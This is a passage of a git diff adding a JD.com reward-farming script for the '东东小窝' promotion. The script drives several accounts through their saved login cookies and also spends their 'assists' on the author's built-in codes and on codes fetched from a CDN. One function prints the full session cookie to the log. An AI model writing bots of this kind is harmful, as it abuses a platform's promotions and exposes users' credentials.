t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_small_home.js b/Task/jd_small_home.js
new file mode 100644
index 0000000..67a9bad
--- /dev/null
+++ b/Task/jd_small_home.js
@@ -0,0 +1,916 @@
+/*
+东东小窝 jd_small_home.js
+Last Modified time: 2021-1-22 14:27:20
+现有功能:
+做日常任务任务,每日抽奖(有机会活动京豆,使用的是免费机会,不消耗WO币)
+自动使用WO币购买装饰品可以获得京豆,分别可获得5,20,50,100,200,400,700,1200京豆)
+
+注:目前使用此脚本会给脚本内置的两个码进行助力,请知晓
+
+活动入口:京东APP我的-游戏与更多-东东小窝
+或 京东APP首页-搜索 玩一玩-DIY理想家
+微信小程序入口:
+来客有礼 - > 首页 -> 东东小窝
+网页入口(注:进入后不能再此刷新,否则会有问题,需重新输入此链接进入)
+https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html
+
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js
+===============Quantumultx===============
+[task_local]
+#东东小窝
+16 22 * * * jd_small_home.js, tag=东东小窝, img-url=https://raw.githubusercontent.com/58xinian/icon/master/ddxw.png, enabled=true
+
+================Loon==============
+[Script]
+cron "16 22 * * *" script-path=jd_small_home.js, tag=东东小窝
+
+===============Surge=================
+东东小窝 = type=cron,cronexp="16 22 * * *",wake-system=1,timeout=3600,script-path=jd_small_home.js
+
+============小火箭=========
+东东小窝 = type=cron,script-path=jd_small_home.js, cronexpr="16 22 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('东东小窝');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message = '';
+let isPurchaseShops = false;//是否一键加购商品到购物车,默认不加购
+$.helpToken = [];
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+$.newShareCodes = [];
+const JD_API_HOST = 'https://lkyl.dianpusoft.cn/api';
+
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await smallHome();
+ }
+ }
+ await updateInviteCodeCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateSmallHomeInviteCode.json');
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.token = $.helpToken[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ if ($.newShareCodes.length > 1) {
+ console.log('----', (i + 1) % $.newShareCodes.length)
+ let code = $.newShareCodes[(i + 1) % $.newShareCodes.length]['code']
+ console.log(`\n${$.UserName} 去给自己的下一账号 ${decodeURIComponent($.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/) && $.newShareCodes[(i + 1) % $.newShareCodes.length]['cookie'].match(/pt_pin=([^; ]+)(?=;?)/)[1])}助力,助力码为 ${code}\n`)
+ await createAssistUser(code, $.createAssistUserID);
+ }
+ console.log(`\n去帮助作者\n`)
+ await helpFriends();
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function smallHome() {
+ await loginHome();
+ await ssjjRooms();
+ // await helpFriends();
+ if (!$.isUnLock) return;
+ await createInviteUser();
+ await queryDraw();
+ await lottery();
+ await doAllTask();
+ await queryByUserId();
+ await queryFurnituresCenterList();
+ await showMsg();
+}
+function showMsg() {
+ return new Promise(resolve => {
+ $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+async function lottery() {
+ if ($.freeDrawCount > 0) {
+ await drawRecord($.lotteryId);
+ } else {
+ console.log(`免费抽奖机会今日已使用\n`)
+ }
+}
+
+async function doChannelsListTask(taskId, taskType) {
+ await queryChannelsList(taskId);
+ for (let item of $.queryChannelsList) {
+ if (item.showOrder === 1) {
+ await $.wait(1000)
+ await followChannel(taskId, item.id)
+ await queryDoneTaskRecord(taskId, taskType);
+ }
+ }
+}
+async function helpFriends() {
+ // await updateInviteCode();
+ // if (!$.inviteCodes) await updateInviteCodeCDN();
+ if ($.inviteCodes && $.inviteCodes['inviteCode']) {
+ for (let item of $.inviteCodes.inviteCode) {
+ if (!item) continue
+ await createAssistUser(item, $.createAssistUserID);
+ }
+ }
+}
+async function doAllTask() {
+ await queryAllTaskInfo();//获取任务详情列表$.taskList
+ console.log(` 任务名称 完成进度 `)
+ for (let item of $.taskList) {
+ console.log(`${item.ssjjTaskInfo.name} ${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || (item.ssjjTaskInfo.type === 1 ? 4: 1)}`)
+ }
+ for (let item of $.taskList) {
+ if (item.ssjjTaskInfo.type === 1) {
+ //邀请好友助力自己
+ $.createAssistUserID = item.ssjjTaskInfo.id;
+ console.log(`createAssistUserID:${item.ssjjTaskInfo.id}`)
+ console.log(`\n\n助力您的好友:${item.doneNum}人`)
+ }
+ if (item.ssjjTaskInfo.type === 2) {
+ //每日打卡
+ if (item.doneNum === (item.ssjjTaskInfo.awardOfDayNum || 1)) {
+ console.log(`${item.ssjjTaskInfo.name}已完成(${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum || 1})`)
+ continue
+ }
+ await clock(item.ssjjTaskInfo.id, item.ssjjTaskInfo.awardWoB)
+ }
+ // 限时连连看
+ if (item.ssjjTaskInfo.type === 3) {
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) {
+ await game(item.ssjjTaskInfo.id, item.doneNum);
+ }
+ }
+ if (item.ssjjTaskInfo.type === 4) {
+ //关注店铺
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) {
+ await followShops('followShops', item.ssjjTaskInfo.id);//一键关注店铺
+ await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type);
+ }
+ }
+ if (item.ssjjTaskInfo.type === 5) {
+ //浏览店铺
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) {
+ await browseChannels('browseShops', item.ssjjTaskInfo.id, item.browseId);
+ }
+ }
+ if (item.ssjjTaskInfo.type === 6) {
+ //关注4个频道
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ await doChannelsListTask(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type)
+ }
+ if (item.ssjjTaskInfo.type === 7) {
+ //浏览3个频道
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) {
+ await browseChannels('browseChannels', item.ssjjTaskInfo.id, item.browseId);
+ }
+ }
+ isPurchaseShops = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS : isPurchaseShops) : ($.getdata("isPurchaseShops") ? $.getdata("isPurchaseShops") : isPurchaseShops);
+ if (isPurchaseShops && item.ssjjTaskInfo.type === 9) {
+ //加购商品
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) {
+ await followShops('purchaseCommodities', item.ssjjTaskInfo.id);//一键加购商品
+ await queryDoneTaskRecord(item.ssjjTaskInfo.id, item.ssjjTaskInfo.type);
+ }
+ }
+ if (item.ssjjTaskInfo.type === 10) {
+ //浏览商品
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum).fill('').length; i++) {
+ await browseChannels('browseCommodities', item.ssjjTaskInfo.id, item.browseId);
+ }
+ }
+ if (item.ssjjTaskInfo.type === 11) {
+ //浏览会场
+ if (item.doneNum === item.ssjjTaskInfo.awardOfDayNum) {
+ console.log(`${item.ssjjTaskInfo.name}已完成[${item.doneNum}/${item.ssjjTaskInfo.awardOfDayNum}]`)
+ continue
+ }
+ for (let i = 0; i < new Array(item.ssjjTaskInfo.awardOfDayNum || 1).fill('').length; i++) {
+ await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId);
+ }
+ // await browseChannels('browseMeetings' ,item.ssjjTaskInfo.id, item.browseId);
+ // await doAllTask();
+ }
+ }
+}
+function queryFurnituresCenterList() {
+ return new Promise(resolve => {
+ $.get(taskUrl(`ssjj-furnitures-center/queryFurnituresCenterList`), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ let { buy, list } = data.body;
+ $.canBuyList = [];
+ list.map((item, index) => {
+ if (buy.some((buyItem) => buyItem === item.id)) return
+ $.canBuyList.push(item);
+ })
+ $.canBuyList.sort(sortByjdBeanNum);
+ if ($.canBuyList[0].needWoB <= $.woB) {
+ await furnituresCenterPurchase($.canBuyList[0].id, $.canBuyList[0].jdBeanNum);
+ } else {
+ console.log(`\n兑换${$.canBuyList[0].jdBeanNum}京豆失败:当前wo币${$.woB}不够兑换所需的${$.canBuyList[0].needWoB}WO币`)
+ message += `【装饰领京豆】兑换${$.canBuyList[0].jdBeanNum}京豆失败,原因:WO币不够\n`;
+ }
+ // for (let canBuyItem of $.canBuyList) {
+ // if (canBuyItem.needWoB <= $.woB) {
+ // await furnituresCenterPurchase(canBuyItem.id, canBuyItem.jdBeanNum);
+ // break
+ // }
+ // }
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//装饰领京豆
+function furnituresCenterPurchase(id, jdBeanNum) {
+ return new Promise(resolve => {
+ $.post(taskPostUrl(`ssjj-furnitures-center/furnituresCenterPurchase/${id}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ message += `【装饰领京豆】${jdBeanNum}兑换成功\n`;
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+//获取详情
+function queryByUserId() {
+ return new Promise(resolve => {
+ $.get(taskUrl(`ssjj-wo-home-info/queryByUserId/2`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ message += `【小窝名】${data.body.name}\n`;
+ $.woB = data.body.woB;
+ message += `【当前WO币】${data.body.woB}\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//获取需要关注的频道列表
+function queryChannelsList(taskId) {
+ return new Promise(resolve => {
+ $.get(taskUrl(`ssjj-task-channels/queryChannelsList/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ $.queryChannelsList = data.body;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+//浏览频道,浏览会场,浏览商品,浏览店铺API
+function browseChannels(functionID ,taskId, browseId) {
+ return new Promise(resolve => {
+ $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}/${browseId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ console.log(`${functionID === 'browseChannels' ? '浏览频道' : functionID === 'browseMeetings' ? '浏览会场' : functionID === 'browseShops' ? '浏览店铺' : '浏览商品'}`, data)
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ // message += `【限时连连看】成功,活动${awardWoB}WO币\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//记录已关注的频道
+function queryDoneTaskRecord(taskId, taskType) {
+ return new Promise(resolve => {
+ $.get(taskUrl(`/ssjj-task-record/queryDoneTaskRecord/${taskType}/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ // message += `【限时连连看】成功,活动${awardWoB}WO币\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//一键关注店铺,一键加购商品API
+function followShops(functionID, taskId) {
+ return new Promise(async resolve => {
+ $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ console.log(`${functionID === 'followShops'? '一键关注店铺': '一键加购商品'}结果:${data.head.msg}`);
+ // message += `【限时连连看】成功,活动${awardWoB}WO币\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//关注频道API
+function followChannel(taskId, channelId) {
+ return new Promise(async resolve => {
+ $.get(taskUrl(`/ssjj-task-record/followChannel/${channelId}/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ // message += `【限时连连看】成功,活动${awardWoB}WO币\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function createInviteUser() {
+ return new Promise(resolve => {
+ $.get(taskUrl(`/ssjj-task-record/createInviteUser`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ if (data.body.id) {
+ console.log(`\n您的${$.name}shareCode(每天都是变化的):【${data.body.id}】\n`);
+ $.shareCode = data.body.id;
+ $.newShareCodes.push({ 'code': data.body.id, 'token': $.token, cookie });
+ }
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function createAssistUser(inviteId, taskId) {
+ console.log(`${inviteId}, ${taskId}`, `${cookie}`);
+ return new Promise(resolve => {
+ $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ console.log(`\n给好友${data.body.inviteId}:【${data.head.msg}】\n`)
+ }
+ } else {
+ console.log(`助力失败${JSON.stringify(data)}}`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function game(taskId, index, awardWoB = 100) {
+ return new Promise(resolve => {
+ $.get(taskUrl(`/ssjj-task-record/game/${index}/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ message += `【限时连连看】成功,活动${awardWoB}WO币\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function clock(taskId, awardWoB) {
+ return new Promise(resolve => {
+ $.get(taskUrl(`/ssjj-task-record/clock/${taskId}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ message += `【每日打卡】成功,活动${awardWoB}WO币\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function queryAllTaskInfo() {
+ return new Promise(resolve => {
+ $.get(taskUrl(`ssjj-task-info/queryAllTaskInfo/2`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ $.taskList = data.body;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//免费抽奖
+function drawRecord(id) {
+ return new Promise(resolve => {
+ $.get(taskUrl(`ssjj-draw-record/draw/${id}`), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ if (data.body) {
+ message += `【免费抽奖】获得:${data.body.name}\n`;
+ } else {
+ message += `【免费抽奖】未中奖\n`;
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//查询免费抽奖机会
+function queryDraw() {
+ return new Promise(resolve => {
+ $.get(taskUrl("ssjj-draw-center/queryDraw"), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ $.freeDrawCount = data.body.freeDrawCount;//免费抽奖次数
+ $.lotteryId = data.body.center.id;
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+//查询是否开启了此活动
+function ssjjRooms() {
+ return new Promise(resolve => {
+ $.get(taskUrl("ssjj-rooms/info/%E5%AE%A2%E5%8E%85"), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.head.code === 200) {
+ $.isUnLock = data.body.isUnLock;
+ if (!$.isUnLock) {
+ console.log(`京东账号${$.index}${$.nickName}未开启此活动\n`);
+ //$.msg($.name, '', `京东账号${$.index}${$.nickName}未开启此活动\n点击弹窗去开启此活动( ̄▽ ̄)"`, {"open-url": "openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html%22%20%7D"});
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function loginHome() {
+ return new Promise(resolve => {
+ const options = {
+ "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0",
+ "headers": {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
